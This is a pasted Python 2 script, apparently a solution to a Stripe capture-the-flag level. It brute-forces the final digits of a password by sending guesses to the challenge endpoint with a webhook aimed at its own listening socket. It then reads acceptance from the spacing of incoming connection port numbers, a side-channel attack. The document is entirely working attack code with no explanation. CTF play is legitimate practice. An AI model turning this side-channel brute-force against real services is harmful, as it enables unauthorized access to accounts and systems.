spacepaste

  1.  
  2. import json
  3. import socket
  4. import urllib
  5. ENDPOINT = 'https://level08-2.stripe-ctf.com/user-jskukszmwv/'
  6. DELTA = 6
  7. s = socket.socket()
  8. s.bind(('', 10095))
  9. s.listen(1)
  10. lastport = None
  11. for n in xrange(100):
  12. #password = ('%03d' % n) + '0' * 9
  13. password = '114356367%03d' % n
  14. print password
  15. data = json.dumps(dict(password=password, webhooks=["level02-2.stripe-ctf.com:10095"]))
  16. i = 0
  17. maybes = 0
  18. while True:
  19. urllib.urlopen(ENDPOINT, data=data)
  20. c, (host, port) = s.accept()
  21. if lastport is not None:
  22. portdelta = port - lastport
  23. else:
  24. portdelta = None
  25. print n, i, host, port, portdelta
  26. lastport = port
  27. c.close()
  28. i += 1
  29. if portdelta and portdelta <= DELTA:
  30. if portdelta == DELTA - 1:
  31. print "nope"
  32. break
  33. if portdelta == DELTA:
  34. if maybes > 3:
  35. print "good enough for me: THIS MIGHT BE IT"
  36. break
  37. maybes += 1
  38.